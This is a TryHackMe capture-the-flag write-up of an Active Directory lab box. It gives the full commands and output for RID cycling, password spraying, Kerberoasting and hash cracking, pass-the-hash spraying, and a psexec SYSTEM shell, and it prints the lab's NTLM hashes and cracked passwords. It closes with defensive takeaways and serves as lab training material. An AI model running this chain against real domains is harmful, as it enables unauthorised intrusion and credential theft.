← ./home
root@dc01:~/soupedecode01#
SESSION ACTIVE

breach reconstruction log

SOUPEDECODE
01TryHackMe · Active Directory

DOMAIN SOUPEDECODE.LOCAL DC DC01 OS Windows Server 2022 RESULT ROOT FLAG CAPTURED
▼ scroll to begin
┌──(operator@kali)-[~/writeup] └─$ cat 00_tldr.md

// 00tl;dr

Another Active Directory box, another chain that never touches a single exploit: a Guest SMB session (not a blank null session — the literal username anonymous) gets share enumeration for free. RID cycling off that session dumps the entire domain user list, no LDAP bind required. Spraying that list against itself (username == password) lands one account. That account is enough to Kerberoast five service accounts, and one TGS hash cracks instantly. The cracked account unlocks a backup share holding raw NTLM hashes for ten machine accounts — and pass-the-hash spraying those finds one that's local admin on the box.

┌──(operator@kali)-[~/writeup] └─$ cat 00_env.cfg

// 00environment

domainSOUPEDECODE.LOCAL
domain controllerDC01
osWindows Server 2022 (Build 20348)
attack boxKali Linux

[!] note — TryHackMe VM restarts reassign the target's IP mid-engagement, so three different addresses show up across this writeup (10.10.38.11410.10.35.23310.10.158.163). Same box throughout, just reconnects between sessions.

┌──(operator@kali)-[~/writeup] └─$ cat 01_recon.sh

// 01reconnaissance

A quick targeted check on 88 confirmed the obvious before the full scan even finished.

$ nmap -sCV -p88 10.10.38.114
88/tcp open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-08-05 18:30:05Z)

Domain Controller, confirmed. Then the full sweep:

$ nmap -sCV -p- -vvv 10.10.38.114
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Active Directory LDAP (Domain: SOUPEDECODE.LOCAL)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Global Catalog (Domain: SOUPEDECODE.LOCAL)
3269/tcp  open  tcpwrapped
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
9389/tcp  open  mc-nmf        .NET Message Framing

The RDP cert and rdp-ntlm-info confirm the hostname — DC01.SOUPEDECODE.LOCAL — straight into /etc/hosts.

┌──(operator@kali)-[~/writeup] └─$ cat 02_smb_enum.sh

// 02smb enumeration — guest beats null

The usual null session was a dead end.

$ nxc smb 10.10.38.114 -u '' -p '' --shares
[-] SOUPEDECODE.LOCAL\: STATUS_ACCESS_DENIED

So was a guessed admin with a blank password. But the literal username anonymous with a blank password authenticated as Guest:

$ nxc smb 10.10.38.114 -u 'anonymous' -p '' --shares
SMB   10.10.38.114   445   DC01   [+] SOUPEDECODE.LOCAL\anonymous: (Guest)
SMB   10.10.38.114   445   DC01   Share      Permissions   Remark
SMB   10.10.38.114   445   DC01   ADMIN$                   Remote Admin
SMB   10.10.38.114   445   DC01   backup                   
SMB   10.10.38.114   445   DC01   C$                        Default share
SMB   10.10.38.114   445   DC01   IPC$       READ           Remote IPC
SMB   10.10.38.114   445   DC01   NETLOGON                  Logon server share
SMB   10.10.38.114   445   DC01   SYSVOL                    Logon server share
SMB   10.10.38.114   445   DC01   Users                     

A share called backup with no listed permissions immediately stands out — but at this point Guest can't actually read it, and Users is locked down too. Filed away for later.

┌──(operator@kali)-[~/writeup] └─$ cat 03_user_enum.sh

// 03enumerating every domain user

kerbrute confirmed a handful of usernames first.

$ ./kerbrute userenum -d soupedecode.local /usr/share/wordlists/userlist.txt --dc 10.10.38.114
[+] VALID USERNAME: admin@soupedecode.local
[+] VALID USERNAME: charlie@soupedecode.local
[+] VALID USERNAME: guest@soupedecode.local
[+] VALID USERNAME: administrator@soupedecode.local

A start — but the real haul came from RID cycling: walking the SID space of an authenticated (even Guest) SMB session to enumerate every account by RID, no wordlist required. Metasploit's smb_lookupsid module did the job.

msf6 > use auxiliary/scanner/smb/smb_lookupsid
msf6 auxiliary(scanner/smb/smb_lookupsid) > set RHOSTS 10.10.35.233
msf6 auxiliary(scanner/smb/smb_lookupsid) > set SMBUser Guest
msf6 auxiliary(scanner/smb/smb_lookupsid) > exploit
[*] USER=Administrator RID=500
[*] USER=Guest RID=501
[*] USER=krbtgt RID=502
[*] USER=DC01$ RID=1000
[*] USER=bmark0 RID=1103
[*] USER=otara1 RID=1104
...
[*] USER=ybob317 RID=1132
[*] USER=file_svc RID=1133
[*] USER=charlie RID=1134

Cross-checked with impacket-lookupsid for good measure — same ~30-account list, including the service account file_svc and an oddly-named regular user, ybob317, that turned out to matter a lot.

┌──(operator@kali)-[~/writeup] └─$ cat 04_pw_spray.md

// 04spraying the user list against itself

With a full username list in hand, the next move is the classic AD anti-pattern check: spray every username as its own password. It landed one hit:

ybob317 : ybob317

Username-as-password is still depressingly common, and it was the key that unlocked everything that followed.

┌──(operator@kali)-[~/writeup] └─$ cat 05_kerberoast.sh

// 05kerberoasting

ybob317's credentials are nothing special on their own, but they're enough to authenticate to LDAP and request TGS tickets for any account with a servicePrincipalName.

$ impacket-GetUserSPNs soupedecode.local/ybob317:ybob317 -dc-ip 10.10.158.163 -request
ServicePrincipalName    Name             PasswordLastSet
----------------------  ---------------  --------------------------
FTP/FileServer          file_svc         2024-06-17 17:32:23
FW/ProxyServer          firewall_svc     2024-06-17 17:28:32
HTTP/BackupServer       backup_svc       2024-06-17 17:28:49
HTTP/WebServer          web_svc          2024-06-17 17:29:04
HTTPS/MonitoringServer  monitoring_svc   2024-06-17 17:29:18

$krb5tgs$23$*file_svc$SOUPEDECODE.LOCAL$soupedecode.local/file_svc*$... [truncated]

Five Kerberoastable accounts, five TGS hashes. Straight into hashcat:

$ hashcat -m 13100 file_svc.hash rockyou.txt
$krb5tgs$23$*file_svc$...:Password123!!
file_svc : Password123!!

"Complex" by a policy checklist's standards, gone in seconds against a wordlist.

┌──(operator@kali)-[~/writeup] └─$ cat 06_backup_share.sh

// 06the backup share opens up

$ nxc smb 10.10.158.163 -u 'file_svc' -p 'Password123!!' --shares
SMB   10.10.158.163   445   DC01   [+] SOUPEDECODE.LOCAL\file_svc:Password123!!
SMB   10.10.158.163   445   DC01   Share     Permissions   Remark
SMB   10.10.158.163   445   DC01   backup    READ          
SMB   10.10.158.163   445   DC01   NETLOGON  READ          
SMB   10.10.158.163   445   DC01   SYSVOL    READ          

The backup share that Guest couldn't touch is now readable. Inside, a single file:

$ smbclient //10.10.158.163/backup -U 'file_svc' -p 'Password123!!'
smb: \> get backup_extract.txt
WebServer$:2119:aad3b435b51404eeaad3b435b51404ee:c47b45f5d4df5a494bd19f13e14f7902:::
DatabaseServer$:2120:aad3b435b51404eeaad3b435b51404ee:406b424c7b483a42458bf6f545c936f7:::
CitrixServer$:2122:aad3b435b51404eeaad3b435b51404ee:48fc7eca9af236d7849273990f6c5117:::
FileServer$:2065:aad3b435b51404eeaad3b435b51404ee:e41da7e79a4c76dbd9cf79d1cb325559:::
MailServer$:2124:aad3b435b51404eeaad3b435b51404ee:46a4655f18def136b3bfab7b0b4e70e3:::
BackupServer$:2125:aad3b435b51404eeaad3b435b51404ee:46a4655f18def136b3bfab7b0b4e70e3:::
ApplicationServer$:2126:aad3b435b51404eeaad3b435b51404ee:8cd90ac6cba6dde9d8038b068c17e9f5:::
PrintServer$:2127:aad3b435b51404eeaad3b435b51404ee:b8a38c432ac59ed00b2a373f4f050d28:::
ProxyServer$:2128:aad3b435b51404eeaad3b435b51404ee:4e3f0bb3e5b6e3e662611b1a87988881:::
MonitoringServer$:2129:aad3b435b51404eeaad3b435b51404ee:48fc7eca9af236d7849273990f6c5117:::

A raw NTLM dump for ten machine accounts, sitting on a share gated by nothing but a Kerberoastable service account's password.

┌──(operator@kali)-[~/writeup] └─$ cat 07_pth_spray.sh

// 07pass-the-hash spraying

Split the dump into matched username/hash lists:

$ cat backup_extract.txt | cut -d ':' -f 1 > extracted_users.txt
$ cat backup_extract.txt | cut -d ':' -f 4 | awk '{print "00000000000000000000000000000000:"$1}' > extracted_hashes.txt

Then sprayed each machine account against its own hash:

$ nxc smb 10.10.158.163 -u extracted_users.txt -H extracted_hashes.txt --no-bruteforce
SMB   10.10.158.163   445   DC01   [-] SOUPEDECODE.LOCAL\WebServer$:...      STATUS_LOGON_FAILURE
SMB   10.10.158.163   445   DC01   [-] SOUPEDECODE.LOCAL\DatabaseServer$:... STATUS_LOGON_FAILURE
SMB   10.10.158.163   445   DC01   [-] SOUPEDECODE.LOCAL\CitrixServer$:...   STATUS_LOGON_FAILURE
SMB   10.10.158.163   445   DC01   [+] SOUPEDECODE.LOCAL\FileServer$:e41da7e79a4c76dbd9cf79d1cb325559 (Pwn3d!)

FileServer$'s own machine-account hash is valid for local admin on the box.

┌──(operator@kali)-[~/writeup] └─$ cat 08_psexec.sh

// 08pass-the-hash to a shell

$ impacket-psexec 'FileServer$'@10.10.158.163 -hashes 'aad3b435b51404eeaad3b435b51404ee:e41da7e79a4c76dbd9cf79d1cb325559'
[*] Found writable share ADMIN$
[*] Uploading file oNwqLrAm.exe
[*] Starting service jZDT.....

C:\Windows\system32> cd ..\..
C:\> cd Users\Administrator\Desktop
C:\Users\Administrator\Desktop> dir
06/17/2024  10:41 AM    <DIR>          backup
07/25/2025  10:51 AM                33 root.txt

C:\Users\Administrator\Desktop> type root.txt
root flag captured (partial capture)
27cb2be302c...

The capture cuts off mid-string here — same 33-byte file, full value lives in the original terminal scrollback.

┌──(operator@kali)-[~/writeup] └─$ cat attack_chain.txt

full attack chain

Guest SMB session ("anonymous" / blank password)
   │
   ▼
RID cycling (smb_lookupsid / lookupsid.py) → full domain user list
   │
   ▼
Password spray username == password → ybob317 : ybob317
   │
   ▼
Kerberoast 5 SPN accounts → crack file_svc → Password123!!
   │
   ▼
file_svc unlocks "backup" share → backup_extract.txt (10 machine NTLM hashes)
   │
   ▼
Pass-the-hash spray each machine account against its own hash
   │
   ▼
FileServer$ hash → local admin (Pwn3d!)
   │
   ▼
impacket-psexec → SYSTEM shell → root.txt
┌──(operator@kali)-[~/writeup] └─$ ls -la /opt/arsenal/

tools used

-rwxr-xr-x  nmap                   recon
-rwxr-xr-x  netexec (nxc)          SMB enum, RID cycling, hash spraying, share checks
-rwxr-xr-x  kerbrute               username enumeration
-rwxr-xr-x  msfconsole / smb_lookupsid RID-cycle user enumeration
-rwxr-xr-x  impacket-lookupsid     RID-cycle cross-check
-rwxr-xr-x  impacket-GetUserSPNs   Kerberoasting
-rwxr-xr-x  hashcat                offline TGS hash cracking
-rwxr-xr-x  smbclient              share browsing & file retrieval
-rwxr-xr-x  impacket-psexec        pass-the-hash remote execution
┌──(operator@kali)-[~/writeup] └─$ cat takeaways.md

key takeaways

  • Guest beats null. When a blank-credential null session gets STATUS_ACCESS_DENIED, try the literal username anonymous (or guest) with a blank password before giving up on unauthenticated SMB.
  • RID cycling needs nothing but an authenticated session. No LDAP bind, no valid domain credentials beyond Guest — the entire user list, service accounts included, is enumerable by walking RIDs.
  • Username == password is still real. A full user list is also a free password-spray wordlist against itself, and it works often enough to be worth trying first.
  • Kerberoastable accounts need strong, randomized passwords. Password123!! satisfies most complexity policies on paper and still falls instantly to a wordlist.
  • Backup shares keep being the weak link. Same root cause as the hardcoded sync-script credential in Operation EndGames — infrastructure scripts and backup processes routinely get less scrutiny than the systems they protect.
  • Don't store raw NTLM hashes anywhere a low-privileged account can read them. Once exposed, pass-the-hash spraying turned them into admin in one command.